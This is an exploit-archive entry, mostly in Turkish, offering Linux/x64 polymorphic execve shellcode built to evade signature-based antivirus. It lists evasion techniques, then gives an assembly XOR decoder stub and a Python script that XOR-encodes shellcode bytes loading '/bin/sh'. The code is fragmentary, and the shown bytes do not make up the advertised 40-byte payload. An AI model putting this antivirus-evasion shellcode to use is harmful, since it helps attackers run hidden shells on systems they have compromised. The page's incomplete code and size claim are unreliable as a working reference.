VULN REPORT
/
shellcode
/
ID: 252
Linux/x64 Polymorphic execve Shellcode - 40 Bytes (AV Bypass)
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 1 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_252.txt
Modern Shellcode - Polimorfik - AV Bypass
Linux/x64 Polymorphic execve Shellcode - 40 Bytes
Polimorfik shellcode, her calistirmada farkli byte dizisi uretir ancak islevi ayni kalir. Imza tabanli AV sistemleri sabit byte dizisi arar; polimorfizm bu mantigi kirar.
Polimorfizm Teknikleri
Teknik 1 - XOR Sifreleme:
Shellcode XOR ile sifrelenir, basa cozucu kod eklenir.
Her calistirmada XOR key degisebilir.
Teknik 2 - Instruction Substitution:
mov eax, 0 xor eax, eax (ayni sonuc)
add eax, 1 inc eax (ayni sonuc)
Teknik 3 - NOP Slide + Junk:
Islevsiz NOP komutlari arasina asil kod gizlenir.
Teknik 4 - Call/Pop String Loading:
call sonraki_satir
db '/bin/sh',0
sonraki_satir: pop rdi
XOR Decoder Stub x64
; key = 0xAA
decoder:
lea rsi, [rel encoded]
mov rcx, payload_len
decode_loop:
xor byte [rsi], 0xAA
inc rsi
loop decode_loop
jmp encoded
encoded: ; XOR-encoded shellcode buraya
Python ile Sifreleme
import os
sc = b"\x48\x31\xff\x57\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"
key = os.urandom(1)[0]
enc = bytes([b ^ key for b in sc])
print(f"Key: 0x{key:02x}")
print(f"Encoded: {''.join(f'\\x{b:02x}' for b in enc)}")
Entry Stats
Views
1
Downloads
0
Comments
0